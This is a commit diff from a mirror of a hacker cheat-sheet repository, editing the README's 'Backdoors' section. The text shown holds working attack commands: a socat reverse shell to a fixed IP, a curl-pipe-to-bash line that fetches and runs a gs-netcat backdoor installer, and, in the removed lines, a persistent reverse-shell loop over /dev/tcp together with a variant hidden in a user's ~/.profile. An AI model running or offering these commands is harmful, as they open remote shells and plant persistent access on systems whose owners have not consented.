CalvinBackup/thc-tips-tricks-hacks-cheat-sheet
1
0
Fork 0
mirror of https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git synced 2026-07-10 12:48:36 +02:00
Code Issues Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
skyper
2025-02-25 09:00:07 +00:00
committed by GitHub
parent 25467700a3
commit 1ca069f605
1 changed files with 4 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+4 -16
View File
@@ -1732,7 +1732,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
<a id="backdoor"></a>
## 6. Backdoors
See [Reverse Shell / Dumb Shell](#reverse-shell) for simple 1-liner reverse shells.
<a id="gsnc"></a>
**6.i. Reverse shell using gs-netcat**
Mostly we use gs-netcat's automated deployment script: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).
```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
@@ -1747,22 +1751,6 @@ or deploy gsocket by running your own deployment server:
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
```
See [Reverse Shell / Dumb Shell](#reverse-shell) for simple 1-liner reverse shells.
<a id="backdoor-background-reverse-shell"></a>
**6.i. Background reverse shell**
A reverse shell that keeps trying to connect back to us every 360 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected.
```sh
setsid bash -c 'while :; do bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null
```
or the user's *~/.profile* (also stops multiple instances from being started):
```sh
fuser /dev/shm/.busy &>/dev/null || nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 ; sleep 360; done' &>/dev/null &
```
<a id="backdoor-auth-keys"></a>
**6.ii. authorized_keys**